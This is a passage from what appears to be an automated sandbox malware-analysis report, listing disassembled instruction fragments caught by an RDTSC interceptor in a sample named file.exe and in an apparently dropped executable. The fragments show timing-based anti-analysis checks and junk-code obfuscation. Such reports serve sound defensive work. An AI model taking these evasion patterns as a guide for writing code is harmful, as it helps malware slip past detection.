00007F4F7D4AED20h 0x00000068 sbb eax, 40CC7CF8h 0x0000006e jmp 00007F4F7D4AED1Bh 0x00000073 popfd 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130893 second address: 513091E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 jmp 00007F4F7C812087h 0x0000001a mov ecx, edx 0x0000001c pushad 0x0000001d push ecx 0x0000001e pushfd 0x0000001f jmp 00007F4F7C81207Bh 0x00000024 xor eax, 4C3FA61Eh 0x0000002a jmp 00007F4F7C812089h 0x0000002f popfd 0x00000030 pop ecx 0x00000031 movsx ebx, cx 0x00000034 popad 0x00000035 and ecx, 03h 0x00000038 pushad 0x00000039 mov ecx, 04A94FF5h 0x0000003e movzx ecx, dx 0x00000041 popad 0x00000042 rep movsb 0x00000044 jmp 00007F4F7C81207Dh 0x00000049 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4F7C81207Dh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513091E second address: 5130969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F7D4AED27h 0x00000009 add esi, 4F08E63Eh 0x0000000f jmp 00007F4F7D4AED29h 0x00000014 popfd 0x00000015 mov ecx, 4BA43D87h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130969 second address: 513096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513096D second address: 5130973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130973 second address: 51309DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c jmp 00007F4F7C812080h 0x00000011 mov dword ptr fs:[00000000h], ecx 0x00000018 pushad 0x00000019 push esi 0x0000001a pushfd 0x0000001b jmp 00007F4F7C81207Dh 0x00000020 sub esi, 5CD5BC86h 0x00000026 jmp 00007F4F7C812081h 0x0000002b popfd 0x0000002c pop eax 0x0000002d mov bh, B3h 0x0000002f popad 0x00000030 pop ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F4F7C81207Fh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51309DD second address: 51309F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51309F5 second address: 51309F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51309F9 second address: 5130A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push edx 0x0000000b mov cx, 9DFFh 0x0000000f pop esi 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F4F7D4AED20h 0x00000017 and ecx, 41D2FBE8h 0x0000001d jmp 00007F4F7D4AED1Bh 0x00000022 popfd 0x00000023 pop ecx 0x00000024 popad 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4F7D4AED22h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A44 second address: 5130A67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 46h 0x00000005 push ecx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F4F7C812081h 0x00000013 movzx ecx, bx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A67 second address: 5130555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F4F7D4AED20h 0x0000000f retn 0008h 0x00000012 cmp dword ptr [ebp-2Ch], 10h 0x00000016 mov eax, dword ptr [ebp-40h] 0x00000019 jnc 00007F4F7D4AED15h 0x0000001b push eax 0x0000001c lea edx, dword ptr [ebp-00000590h] 0x00000022 push edx 0x00000023 call esi 0x00000025 push 00000008h 0x00000027 pushad 0x00000028 call 00007F4F7D4AED20h 0x0000002d jmp 00007F4F7D4AED22h 0x00000032 pop esi 0x00000033 call 00007F4F7D4AED1Bh 0x00000038 pushfd 0x00000039 jmp 00007F4F7D4AED28h 0x0000003e xor cl, FFFFFFB8h 0x00000041 jmp 00007F4F7D4AED1Bh 0x00000046 popfd 0x00000047 pop eax 0x00000048 popad 0x00000049 push 131DCA5Ah 0x0000004e jmp 00007F4F7D4AED24h 0x00000053 add dword ptr [esp], 61C851CEh 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 2DF384 second address: 2DF388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 2DF388 second address: 2DF3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 je 00007F4F7D4AED3Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4F7D4AED1Dh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457D53 second address: 457D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457D59 second address: 457D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CA5 second address: 456CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812084h 0x00000007 jp 00007F4F7C812076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CC3 second address: 456CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CC9 second address: 456CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CCD second address: 456CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CD1 second address: 456CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C812089h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CF4 second address: 456CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 456CF8 second address: 456CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4570F5 second address: 457120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED26h 0x00000009 pushad 0x0000000a jmp 00007F4F7D4AED1Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457120 second address: 457126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457126 second address: 457149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F4F7D4AED28h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457149 second address: 45714F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 45714F second address: 457153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457153 second address: 45716D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4F7C81207Eh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457316 second address: 457327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457327 second address: 457331 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4F7C81207Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457331 second address: 45733F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnp 00007F4F7D4AED22h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 45733F second address: 457350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F7C812076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4575E4 second address: 457605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F4F7D4AED27h 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 457605 second address: 45760B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 458FF4 second address: 4590A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F4F7D4AED26h 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D1D61h], ebx 0x00000016 push 4840BF8Eh 0x0000001b jc 00007F4F7D4AED1Eh 0x00000021 jbe 00007F4F7D4AED18h 0x00000027 xor dword ptr [esp], 4840BF0Eh 0x0000002e mov esi, dword ptr [ebp+122D3A42h] 0x00000034 mov ecx, dword ptr [ebp+122D3AF2h] 0x0000003a push 00000003h 0x0000003c mov edi, dword ptr [ebp+122D1DE8h] 0x00000042 push 00000000h 0x00000044 xor ecx, 3DB8FF7Fh 0x0000004a push 00000003h 0x0000004c mov edx, dword ptr [ebp+122D3972h] 0x00000052 push C4092741h 0x00000057 pushad 0x00000058 jnc 00007F4F7D4AED1Ch 0x0000005e jmp 00007F4F7D4AED26h 0x00000063 popad 0x00000064 xor dword ptr [esp], 04092741h 0x0000006b mov esi, dword ptr [ebp+122D3966h] 0x00000071 lea ebx, dword ptr [ebp+1244DEA3h] 0x00000077 mov esi, dword ptr [ebp+122D391Ah] 0x0000007d push eax 0x0000007e pushad 0x0000007f push eax 0x00000080 jnl 00007F4F7D4AED16h 0x00000086 pop eax 0x00000087 push eax 0x00000088 push edx 0x00000089 pushad 0x0000008a popad 0x0000008b rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4590A9 second address: 4590AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4590F5 second address: 4590FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4590FB second address: 45914A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F4F7C812078h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dh, bl 0x0000002a push 43AB6D90h 0x0000002f push eax 0x00000030 push edx 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 45914A second address: 45914F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 45914F second address: 4591B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F4F7C812076h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 43AB6D10h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F4F7C812078h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D305Dh], ebx 0x00000033 jmp 00007F4F7C812088h 0x00000038 push 00000003h 0x0000003a push ebx 0x0000003b pop ecx 0x0000003c push 00000000h 0x0000003e movsx edx, si 0x00000041 push 00000003h 0x00000043 push BD8FAD12h 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d pop edx 0x0000004e rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4591B2 second address: 4591C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4591C8 second address: 4591FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 7D8FAD12h 0x00000010 mov esi, 5AEF6CB1h 0x00000015 lea ebx, dword ptr [ebp+1244DEACh] 0x0000001b mov dword ptr [ebp+122D3112h], ecx 0x00000021 or edx, dword ptr [ebp+122D39FEh] 0x00000027 push eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jc 00007F4F7C812076h 0x00000031 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 459253 second address: 459287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED24h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D3058h], ecx 0x00000013 push 00000000h 0x00000015 and edi, dword ptr [ebp+122D3B36h] 0x0000001b push C5F64C1Fh 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 459287 second address: 45928B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 45928B second address: 4592DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a popad 0x0000000b add dword ptr [esp], 3A09B461h 0x00000012 mov dword ptr [ebp+122D3112h], ecx 0x00000018 push 00000003h 0x0000001a mov edx, 686D5107h 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D1CA4h], ebx 0x00000027 push 00000003h 0x00000029 clc 0x0000002a call 00007F4F7D4AED19h 0x0000002f push edi 0x00000030 je 00007F4F7D4AED18h 0x00000036 pushad 0x00000037 popad 0x00000038 pop edi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F4F7D4AED23h 0x00000041 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4592DE second address: 459304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F4F7C81207Ch 0x00000012 mov eax, dword ptr [eax] 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 459304 second address: 459328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007F4F7D4AED26h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 459328 second address: 459378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F7C812076h 0x0000000a popad 0x0000000b popad 0x0000000c pop eax 0x0000000d mov cx, bx 0x00000010 lea ebx, dword ptr [ebp+1244DEB7h] 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F4F7C812078h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 call 00007F4F7C81207Ah 0x00000035 jnp 00007F4F7C812078h 0x0000003b pushad 0x0000003c popad 0x0000003d pop edi 0x0000003e push eax 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 459378 second address: 45937E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 46BD11 second address: 46BD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 46BD18 second address: 46BD22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4F7D4AED16h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 46BD22 second address: 46BD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 44FE91 second address: 44FE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 44FE97 second address: 44FE9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 44FE9B second address: 44FE9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479854 second address: 479858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479C40 second address: 479C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479C46 second address: 479C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479C4C second address: 479C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F7D4AED16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479C5B second address: 479C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479C5F second address: 479C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007F4F7D4AED16h 0x0000000f jmp 00007F4F7D4AED1Fh 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 479C84 second address: 479C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4F7C812076h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A224 second address: 47A228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A228 second address: 47A241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812083h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A241 second address: 47A26B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 jo 00007F4F7D4AED16h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4F7D4AED28h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A26B second address: 47A28A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4F7C812088h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A53F second address: 47A551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4F7D4AED16h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A551 second address: 47A566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C81207Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A6D5 second address: 47A6F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47A859 second address: 47A85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47AF0D second address: 47AF40 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4F7D4AED16h 0x00000008 jmp 00007F4F7D4AED23h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4F7D4AED24h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47AF40 second address: 47AF54 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b je 00007F4F7C812086h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47B33B second address: 47B341 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 471262 second address: 471268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 48146A second address: 48146E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 47FC81 second address: 47FC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
